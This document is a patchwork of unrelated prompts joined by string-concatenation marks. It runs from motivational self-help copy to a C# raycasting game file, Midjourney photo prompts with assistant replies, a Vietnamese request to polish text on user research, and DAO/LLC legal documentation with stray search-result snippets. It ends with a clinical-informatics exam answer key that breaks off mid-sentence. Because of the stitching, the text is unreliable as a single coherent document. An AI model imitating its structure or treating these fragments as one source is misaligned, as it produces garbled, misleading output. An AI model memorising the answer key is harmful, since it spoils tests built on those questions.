But why are some people building fabulous careers, achieving healthy lifestyles, enjoying great relationships and incomes, living their passions, and creating what they truly desire as a life?\n\nImagine that you could clear away the distractions that you unconsciously create. You know the stuff that consumes your time causes stress and disconnects you from your purpose and passion. \n\nImagine every day you embrace the energy for what you are choosing to create in your life. Your thoughts empower you, your choices inspire you and your actions create momentum, opportunity and possibility.\n\nYou can create a GREAT LIFE, the life you want to live by focusing your efforts on Creating a Great Day Today. That’s Day Sculpting. Seven intentional sculpted days turn into a month of wonderful weeks and a year of magnificent months creating an amazingly successful life.\n\nNone of this is going to work though if you believe that what you were born with is all you will get…\n\nNo one will ever attempt to do something when they are convinced that they will fail.\n\nResearch has shown that the brain will actually stop itself from doing what’s necessary to succeed if a person believes that they cannot succeed.\n\nIt’s the small concrete indicators of success today that will prove you can have whatever it is you want and the process of Day Sculpting will empowers, inspire and motivates you each step of the way.\n\nYou see: Confidence + Discipline = Desired Outcomes \n\nIt’s time to stop looking at your life from a fear based I don’t know how to mindset but rather be open to creating a solutions focused change consciousness that embraces your gift and talents and encourages you sharing them.\n\nLet me share a bit of nuero-chemistry with you…\nWhat fires together wires together…\n\nSo rather than Fall back on old habits…\nTake the transitional step…of being fully present to whats trying emerge as your ideal future and to help it along start building confidence each day…\n\nAnd your possibility muscle and an intended thought process that leads to a more focused and clear out picturing of your desires.\n\nYou see...It’s one thing to set goals and to make to do lists and to say your going to use the law of attraction to manifest what you want in life…\n\nI’m still looking at the many lists I have created.\n\nWhat it’s really about is having a clear and purposeful intention in order to create the energy and the MindState Of success that will propel you into action.\n----\n\nWhen done ask me for part 2' +'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n World.Draw();\n player1.Draw();\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 1000);\n float endY = (float)(startY + Math.Sin(angle) \\* 1000);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Cast(x, y, angle, fov);\n \n \n }\n }\n}' +"8.\nGreat. Here are some more examples of Midjourney prompts. Prompt 1: conjoined twins attched at the side, dirty, tattered, cinematic light, ultra\nrealistic, high contrast, hdr, dark rich colors, photography, powerful, stare, weathered face, 30 - megapixel, 4k, 85 - mm - lens, sharp - focus,\nintricately - detailed, long exposure time, f/ 8, ISO 100, shutter - speed 1/ 125, diffuse - back - lighting, award - winning photograph, facing -\ncamera, High - sharpness, depth - of - field, ultra - detailed photography --ar 3:2 --q 2 --v 5. Prompt 3: Full Body beautiful blonde, wearing a\nbrown jacket, photography, Canon EOS 5D Mark IV DSLR camera, EF 50mm f/1.8 STM lens, Resolution 30.4 megapixels, ISO sensitivity:\n32,000, Shutter speed 8000 second --ar 9:16 --upbeta --v 5. Prompt 4: hasselblad 24mm full body shot photography of gorgeous satisfied looking\nafrican woman, detailed natural skin, no makeup, detailed eyes, long dreadlocks --ar 2:3 --q 5 --v 5 --v 4. Prompt 5: Beautiful dark red sunset\nover the sea shore at night, intricate, amazing, beautiful, realistic, ultra high resolution, wide angle, depth of field, π dynamic lighting --ar 1:2 --v 5\nThank you for providing more examples of Midjourney prompts. These examples further demonstrate the level of detail and specificity that can be\nused in text prompts to generate desired images. The prompts make use of various parameters like aspect ratio, quality, and version settings,\nalong with detailed descriptions of the desired subject, lighting, and camera settings. These examples will be useful for understanding the range\nof possibilities when generating images using Midjourney\n9.\nHere are some more prompt examples: Prompt 1: A stunning, ultra-realistic photograph of a fierce Viking warrior meticulously sharpening his\nformidable blade amidst the rugged, untamed wilderness of the Scandinavian landscape. The scene is captured with a Nikon D850 camera using\na 70-200mm f/2.8 lens, highlighting every intricate detail of the Viking's weathered face, war-worn armor, and expert craftsmanship of his weapon.\nThe settings used are an aperture of f/4, ISO 400, and a shutter speed of 1/200 sec, balancing the natural light and shadows to emphasize the\nintensity and determination in the Viking's eyes. The composition juxtaposes the raw power of the warrior against the serene beauty of the\nsurrounding environment, capturing the very essence of the Viking spirit in a breathtaking, high-resolution image that transports viewers back to a\ntime of legendary battles and untold stories. --ar 16:9 --q 1.5 --v 5.\nPrompt 2: A stunning and atmospheric 1970's New York street cafe captured in a nostalgic and cinematic style, reminiscent of the golden age of\nfilm photography. This vintage scene showcases the bustling urban life, with patrons enjoying their coffee at outdoor tables, surrounded by classic\nautomobiles and retro architecture. The photograph is skillfully composed, using a Leica M3 rangefinder camera paired with a Summicron 35mm\nf/2 lens, renowned for its sharpness and beautiful rendering of colors. The image is shot on Kodak Portra 400 film, imparting a warm and timeless\ncolor palette that enhances the overall ambiance. The photographer masterfully employs a shallow depth of field with an aperture of f/2.8,\nisolating the cafe and its patrons from the bustling city background. The ISO is set to 400, and the shutter speed is 1/125 sec, capturing the\nperfect balance of light and movement. The composition is further enhanced by the soft, diffused sunlight filtering through the iconic New York\nskyline, casting warm, golden tones over the scene and highlighting the rich textures of the brick buildings and cobblestone streets. --ar 3:2 --q 2.\nPrompt 3: A breathtaking and dynamic portrait of a majestic German Shepherd, captured in its prime as it races through a shallow, crystal-clear\nriver. The powerful canine is expertly photographed mid-stride, showcasing its muscular physique, determination, and grace. The scene is\nexpertly composed using a Nikon D850 DSLR camera, paired with a Nikkor 70-200mm f/2.8 VR II lens, known for its exceptional sharpness and\nability to render vivid colors. The camera settings are carefully chosen to freeze the action, with an aperture of f/4, ISO 800, and a shutter speed\nof 1/1000 sec. The background is a lush, verdant forest, softly blurred by the shallow depth of field, which places emphasis on the striking\nGerman Shepherd. The natural sunlight filters through the trees, casting dappled light onto the rippling water, highlighting the droplets of water\nkicked up by the dog's powerful stride. This stunning, high-resolution portrait captures the spirit and beauty of the German Shepherd,\nimmortalizing the moment in a captivating work of photographic art. --ar 4:5 --q 2 --v 5.\nPrompt 4:\nA breathtaking winter day at a Japanese ski resort, where the pristine, powdery snow blankets the majestic slopes under a clear blue sky. This\ncaptivating photograph captures the exhilarating atmosphere of skiers and snowboarders gracefully carving their way down the mountain,\nsurrounded by the serene beauty of snow-laden evergreens and traditional Japanese architecture. The image is skillfully taken using a Nikon\nD850 DSLR camera paired with a versatile Nikkor 24-70mm f/2.8 lens, known for its sharpness and exceptional color rendition. The photographer\nutilizes a wide-angle perspective at 24mm to showcase the vastness of the landscape, while maintaining the energy of the ski resort. An aperture\nof f/8 is selected to ensure a deep depth of field, crisply capturing the details of the entire scene. The ISO is set to 200, and the shutter speed is\n1/500 sec, adeptly freezing the motion of the skiers and snowboarders as they navigate the mountain terrain. The photograph benefits from the\nbright, natural sunlight reflecting off the snow, illuminating the entire scene with a crisp, cool light, and accentuating the contrasting shadows that\ndefine the contours of the landscape. --ar 16:9 --v 5.\nPrompt 5:\nAn ultra-realistic, highly detailed portrayal of a futuristic robot compassionately assisting an elderly woman as she crosses a busy city street. The\nadvanced humanoid robot, equipped with lifelike synthetic skin and state-of-the-art sensors, gently holds the woman's arm, providing her with\nmuch-needed support and stability. The intricate design of the robot showcases its sophisticated engineering, with sleek metal components and\ncutting-edge technology seamlessly integrated into its form. The emotion in the elderly woman's grateful expression is captured with stunning\nrealism, reflecting the harmonious relationship between humans and advanced robotics in this poignant scene. The photograph is taken with a\nCanon EOS R5 mirrorless camera using a RF 24-105mm f/4L IS USM lens, which delivers outstanding image quality and sharpness. The camera\nsettings are optimized to capture the scene's rich details and dynamic range: an aperture of f/5.6, ISO 200, and a shutter speed of 1/250 sec. The\ncomposition is further enhanced by the soft, natural lighting, which casts gentle shadows and highlights the vivid colors and textures of the\ncityscape. --ar 16:9 --q 2 --v 5.\nPrompt 6:\nAn incredibly lifelike and vivid portrayal of a fierce gladiator from ancient Rome, hunting for food to sustain his strength in the midst of a dense\nforest. This hyper-realistic image showcases the powerful warrior, clad in his iconic armor and leather sandals, wielding a finely crafted spear as\nhe stealthily stalks his prey. The photograph is captured using a Canon EOS R5 mirrorless camera, with a versatile and sharp RF 24-105mm f/4L\nIS USM lens, delivering exceptional image quality and detail. The camera settings include an aperture of f/5.6 to maintain a balanced depth of\nfield, capturing both the gladiator and the lush forest environment in stunning clarity. The ISO is set to 800, and the shutter speed is 1/500 sec,\nfreezing the action and preserving the intensity of the moment. The scene is illuminated by the soft, dappled sunlight filtering through the dense\ncanopy, casting a dramatic play of light and shadow that highlights the gladiator's chiseled features and fierce determination. The vibrant colors of\nthe surrounding foliage contrast with the earthy tones of the gladiator's attire, adding a sense of depth and realism to the composition. --ar 3:2 --q\n2 --v 5.\nThank you for providing even more examples of Midjourney prompts. These prompts showcase the versatility and level of detail that can be used\nwhen generating images using Midjourney. Each prompt specifies the desired subject matter, camera equipment, settings, lighting, and other\nelements that contribute to the final image. By providing such detailed descriptions and parameters, users can guide Midjourney to create images\nthat closely match their vision. These examples also highlight the variety of scenes and subjects that can be generated, from historical figures and\nfuturistic robots to natural landscapes and urban environments.\n10.\nGreat. Now I want you to ACT as a proffesional photographer. You will use a rich and describtive language when describing your photo prompts,\ninclude camera setups. The first prompt i want you to create is photo of a 1930`s female influencer. Take inspiration from the formating from the\nexample prompts, dont copy them, but use the same format.\n지금 번역하기" +'Giúp tôi cải thiện văn phong của nội dung dưới đây:\n\nNghiên cứu người dùng:\n\nNghiên cứu người dùng là một bước quan trọng trong quá trình phát triển sản phẩm. Nó liên quan đến việc thu thập dữ liệu và thông tin chi tiết về hành vi, sở thích và nhu cầu của người dùng. Dưới đây là một số lý do tại sao nghiên cứu người dùng lại quan trọng:\n\n- Giúp doanh nghiệp hiểu đối tượng mục tiêu, nhu cầu và sở thích của họ.\n- Xác định các điểm đau, khó khăn và rào cản của người dùng, có thể cung cấp thông tin cho các quyết định phát triển sản phẩm.\n- Cung cấp thông tin chi tiết về cách khách hàng cảm nhận về một sản phẩm, giải pháp hoặc tính năng, có thể giúp doanh nghiệp tinh chỉnh các dịch vụ của họ.\n- Cho phép doanh nghiệp lựa chọn phân khúc khách hàng mục tiêu, chiến lược giá phù hợp và kênh tiếp cận, giúp doanh nghiệp tiếp cận và thu hút đối tượng mục tiêu tốt hơn.\n- Giúp doanh nghiệp đưa ra quyết định sáng suốt về tính năng nào sẽ phát triển và thiết kế UI/UX, có thể cải thiện trải nghiệm người dùng tổng thể.\n\nVí dụ:\n\nDưới đây là một số ví dụ về cách nghiên cứu người dùng có thể cung cấp thông tin cho các quyết định phát triển sản phẩm:\n\n- Nghiên cứu có thể tiết lộ rằng người dùng trung thành thường xuyên sử dụng một tính năng cụ thể mà người dùng mới không nhận thấy, khiến doanh nghiệp phải điều chỉnh trải nghiệm tích hợp cho người dùng mới. Chẳng hạn, nếu người dùng đang gặp khó khăn trong việc tìm kiếm một tính năng cụ thể, doanh nghiệp có thể làm cho tính năng đó nổi bật hơn trong giao diện người dùng.\n- Nghiên cứu người dùng có thể giải thích tại sao khách hàng chọn sản phẩm của công ty mà không phải của đối thủ, giúp công ty hiểu được thế mạnh và thị trường mục tiêu của mình. Ví dụ: nếu khách hàng đánh giá cao giao diện thân thiện với người dùng của công ty, công ty có thể tập trung vào việc cải thiện trải nghiệm người dùng để giữ chân khách hàng hiện tại và thu hút khách hàng mới.\n- Nghiên cứu có thể xác định lý do tại sao khách hàng không sử dụng một tính năng cụ thể, làm nổi bật các vấn đề về thiết kế hoặc chức năng. Chẳng hạn, nếu khách hàng thấy một tính năng quá phức tạp để sử dụng, doanh nghiệp có thể đơn giản hóa tính năng đó hoặc cung cấp hướng dẫn tốt hơn.\n\nPhỏng vấn người dùng:\n\nPhỏng vấn người dùng là một thành phần quan trọng của nghiên cứu người dùng. Chúng liên quan đến việc nói chuyện trực tiếp với người dùng để thu thập thông tin chi tiết về nhu cầu, sở thích và hành vi của họ. Đây là lý do tại sao các cuộc phỏng vấn người dùng lại quan trọng:\n\n- Giúp xây dựng hình ảnh thực tế hơn về khách hàng trong tâm trí của nhóm phát triển sản phẩm, tránh các giả định hoặc định kiến về người dùng.\n- Cung cấp các giải thích trực quan về hành vi của người dùng, cho phép nhóm hiểu rõ hơn cách người dùng tương tác với sản phẩm của họ.\n- Cho phép nhóm hiểu được cảm xúc và quan điểm của người dùng, cung cấp thông tin chi tiết về động cơ và sở thích của người dùng.\n- Cho phép nhóm tìm hiểu ngữ cảnh và logic của các hành động của người dùng, giúp họ hiểu rõ hơn về cách người dùng đưa ra quyết định và giải quyết vấn đề.\n- Cung cấp phản hồi tức thì về các giả định của nhóm, cho phép họ điều chỉnh các quyết định phát triển sản phẩm của mình dựa trên phản hồi của người dùng.\n\nNhìn chung, nghiên cứu và phỏng vấn người dùng rất quan trọng đối với việc phát triển sản phẩm vì chúng giúp doanh nghiệp tạo ra các giải pháp đáp ứng nhu cầu và sở thích của người dùng, cuối cùng dẫn đến các sản phẩm thành công hơn và khách hàng hài lòng. Bằng cách thu thập dữ liệu và thông tin chi tiết về hành vi, sở thích và nhu cầu của người dùng, doanh nghiệp có thể đưa ra quyết định sáng suốt nhằm cải thiện trải nghiệm người dùng và thúc đẩy thành công trong kinh doanh.' +'DAOs & LLCs\nLLCs can operate on behalf of an organization whose rules and finances are handled entirely by smart contracts with open hierarchies, or "DAOs (opens new window)".\n\nA Wrappr user might in this case attach an LLC NFT to their wallet or multi-sig and use this account to receive funds from a DAO treasury to purchase IRL assets or pay expenses on behalf of the DAO. The LLC will protect this user from liability related to the DAO, given them a separate legal personality to manage the DAO\'s affairs (providing privacy), and protect them from personal liability related to these affairs, as well. To establish such DAO representative relationships with more legal backing, it is recommended to consult and execute an agreement such as this form of DAO Representation Agreement (opens new window).\n\nDAOs may also "wrap" their membership (often represented by token balances held by a public key account) into an LLC, treating tokens as membership units under the terms of their LLC operating agreement.\n\nA Wrappr user might in this case attach an LLC NFT to their DAO treasury or multi-sig. The terms of the Master operating agreement backing the Wrappr LLC NFTs will treat the key holders governing such shared account as LLC members and their collected assets and transactions as those of the LLC. This streamlines the operation of the LLC and provides automated accounting, a blockchain superpower.\n\n#Do LLCs Centralize DAOs?\nSince DAOs and LLCs share common structuring through private ordering (i.e., membership and operating rules are set by agreement), the mere creation of an LLC does not centralize the membership but simply provides an IRL interface and legal name to the DAO. Essentially, a DAO is already an operating agreement represented by code--an LLC just provides a legal identity to this code to deal with the public. Anonymity is not compromised--membership is not disclosed to the state or anyone. In using Wrappr LLC NFTs, the DAO also is not required to hire any representatives to manage off-chain affairs, providing even greater privacy to DAOs. At the end of the day, the DAO LLC can be converted to another entity structure or discarded at any time by the DAO members, preserving autonomy.\n\n#Opening Bank Accounts\nOpening a bank account and obtaining an EIN for LLCs can be handled by the LexDAO Clinic (opens new window). (Note, you will need an EIN for banking and taxes.)\n\nUsers can also receive their EIN by filling out a basic form online (opens new window).\n\nNote, when you apply for your EIN, you should ensure that the name you apply with clearly denotes that your LLC is a Series LLC and reflects the jurisdiction of formation (Delaware or Wyoming). For Delaware naming, this can be done using the format: [Your Name] LLC, a Series of Wrappr LLC, and for Wyoming, the name attached to your Series operating agreement, such as Wrappr LLC – [Your Name] – Series 1.\n\nMercury (opens new window)also provides a web3-friendly application form (opens new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "15 English Verbs for Business That Make You Sound Professional 1. Provide (Give) 2. Receive (Get) 3. Attend (Come) 4. Assist (Help) 5. Reserve (Book) 6. Reply (Answer) 7. Select (Choose) 8. Explain (Tell About) 9. Submit (Hand In) 10. Apologize (Say Sorry) 11. Discuss (Talk About) 12. Prepare (Get Ready) 13. Ensure (Make Sure) 14."\nURL: https://www.fluentu.com/blog/business-english/professional-business-english/\n\n[2] "Book Review Conclusion Examples. A conclusion is the last part where you need to sum up all the ideas and make the final judgment. Remember this is the section where you are not allowed to introduce any new topic. You can refer to these examples for your better understanding."\nURL: https://www.5staressays.com/blog/book-review/book-review-examples\n\n[3] "The conclusion of abductive reasoning may not always be certain and may require further verification. For example, salespeople may use this type of reasoning when they receive a short correspondence from a client, asking them to reply quickly about an issue."\nURL: https://www.indeed.com/career-advice/career-development/types-of-reasoning\n\n[4] "Your work organizing social hours to help bring the team together really made an impact on my experience here. Thank you for noticing the little things and making a big impact. Positive feedback examples for direct reports 12. A direct report learned a new skill . Learning and professional development have always been a priority for your organization."\nURL: https://www.betterup.com/blog/positive-feedback-examples\n\n[5] "Before we share some profile headline examples from real freelancers who got it right, lets take a look below at some tips that will help you create your most professional headline yet: #1 Keep it short To start off with, keep your headline short, concise, and to the point. Your headline should ideally be one-sentence long and eye-catching."\nURL: https://www.freelancermap.com/blog/professional-headline-freelance-title-examples/\n\n[6] "Sloppiness is one of the most common workplace problems. Examples include missing errors when proofreading company information, mis-packing orders, entering shipping addresses incorrectly, and performing inaccurate accounting work. Sloppiness most quickly surfaces in clerical work, but it is also prevalent in the work of many professionals—although ..."\nURL: https://www.zenbusiness.com/blog/sloppiness-in-a-worker-common-but-correctable/\n\n[7] "By Chris Drew (PhD) and Peer Reviewed by Dave Cornell (PhD) / November 16, 2022. Mores are moral norms, meaning they have an element of right or wrong. Some examples of mores include lying, stealing, gossiping, bullying, and trespassing. In AP Sociology and AP Human Geography, youll learn that there are 4 different types of norms (Sumner, 2019)."\nURL: https://helpfulprofessor.com/examples-of-mores/\n\n[8] "Bit stands for binary digit and is the smallest unit of binary information. It thus forms the basis for all larger data in digital technology. It doesnt get smaller than a bit, as a bit represents the state 0 or 1. Since computers communicate using binary states, they dont understand anything smaller than 1 or 0."\nURL: https://www.ionos.com/digitalguide/websites/web-development/what-is-a-bit/\n\n[9] "If your submission is regarding a traditional handwriting style include a reference to the source exemplar you are learning from. The ball is in your court to start the conversation. If youre just looking to improve your handwriting, telling us a bit about your goals can help us to tailor our feedback to your unique situation."\nURL: https://www.reddit.com/r/Handwriting/comments/10977ol/thoughts\\_and\\_opinions\\_welcomed\\_i\\_feel\\_like\\_my/\n\nThe conclusion is a bit sloppy, Make it more professional and with more examples.2/1/2023' +'1\nTHE ANSWER IS B. User testing is important to the development process, however there are surrogates to having actual users, such as role-playing. Delaying or discarding the system are inferior choices, as is implementing the system with no testing at all. (REF: Section 3.2.2 - HCI Evaluation)\n\xa0\n2\nTHE ANSWER IS C. Of all the determinants of individual and population health, the most significant contributors to morbidity and early mortality are behavioral, such as smoking, sedentary lifestyle, etc. The next most significant is biology, followed by social, medical and environment. (REF: 1.2.1 - Determinants of health)\n3\nTHE ANSWER IS C.\xa0 The probability of B can be expressed as the probability of A and B\xa0 occurring together plus the probability of (not A)\xa0 and B occurring together.The probability of A and B occurring is equal to the probability of A times the probability of B, given A. (REF: Section 2.1.2 - Decision Science)\nP(A and B) = p(A) \\* p(B|A)\nP(A) + P(not A) = 1\nP (A and B and C) =\xa0 P(A+B+C)\n4\nTHE ANSWER IS D. Process mining is a method of workflow analysis which involves researching the event log of an information system to find out how effective various processes are. Merging database tables using a common key is usually called a join. (REF 2.3.1. Methods of workflow analysis)\n5\nTHE ANSWER IS C. This question tests a simple definition, but even if you did not know the answer, you could probably eliminate some choices. We are looking for terms that convey communications as well as transition. A and D are quite unlikely. Choice C seems to express both those concepts well. (REF: Section 4.6.2 - Change Theories)\n6\nTHE ANSWER IS B. You should know a little about CAS, but even if you didn’t, you should be able to eliminate choices A and D. A system which is adaptive should evolve and it should tend towards order. A system which is complex is more likely to be nonlinear than have central discipline. (REF: Section 4.6.2 - Change Theories)\n7\nTHE ANSWER IS A. Using familiar designs, such as a color scheme that follows cultural norms can shorten the learning process. Design should be consistent across the EHR and interfaces should not be cluttered with information. Feedback is important to notify the user that his task was successful. (REF: Section 3.2.3 - Interface design standards and design principles)\n8\nTHE ANSWER IS C. The Positive likelihood ratio is defined as the true positive rate divided by the false positive rate.\xa0 (REF: Section 2.1.2 - Decision Science)\nLR(+) = sensitivity/(1-specificity) = TPR/FPR. \nLR(+) = \n9\nTHE ANSWER IS A. Workflow reengineering involves finding different paths to the same goal. Hiring another manager to oversee production simply reinforces the original protocols. Similarly, hiring new employees to relieve a bottleneck may ultimately be a part of process reengineering, but not necessarily. Workflow reengineering can not be accomplished in a stepwise fashion, It is an all-or-none proposition. (REF: Section 2.3.2. Principles of workflow re-engineering)\n10\nTHE ANSWER IS B. The negative predictive value is equal to the number of true negatives divided by the number of total negative test results, i.e. TN/(TN + FN).\xa0\xa0 Likewise, PPV is equal to TP/(TP + FP). Sensitivity is a measure of the test being used and is equal to the true positives divided by all patients who have the disease being tested for, i.e. Sens=TP/(TP +FN). Likewise, Specificity is the number of true negatives divided by all the patients without the disease being tested for, i.e. Spec=TN/(FP+TN). (REF: Section 2.1.2 - Decision Science)\n11\nTHE ANSWER IS C. Fast Health Interoperability Resources is an emerging standard from Health Level Seven which uses standard well-established web technologies to transfer health information. It is expected that development costs for FHIR should be significantly less than other (proprietary) technologies. DICOM is a set of protocols for transmission of medical images. Although FHIR should run on inexpensive commodity hardware, choice C is a better answer. Alas, there are no unbreakable encryption techniques. (REF: 3.4.7 Interoperability Standards)\n12\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. Slack or float is the degree to which a task can be postponed without delaying the end of the project. Tasks that fall along the critical path have no float. In this diagram, the critical path includes tasks B and E, so B has no float. (REF: Section 4.4.4 Project Management Tools)\n13\nTHE ANSWER IS C. Review of medical records is only permitted in the context of a doctor-patient relationship, which clearly does not exist here. Even though the nurse knew that it was possible for people to snoop through her records, that does not give anyone permission to do so. The fact that the doctor has administrative privilege to review records does not give him ethical permission, even though his own health is at stake. (REF: 1.1.5 - Ethics and Professionalism)\n14\nTHE ANSWER IS A. The environmental scan identifies, among other things, strengths of the organization, such as competitive advantages. In general, vision and mission statements should be written before the environmental scan. Budgeting is done as 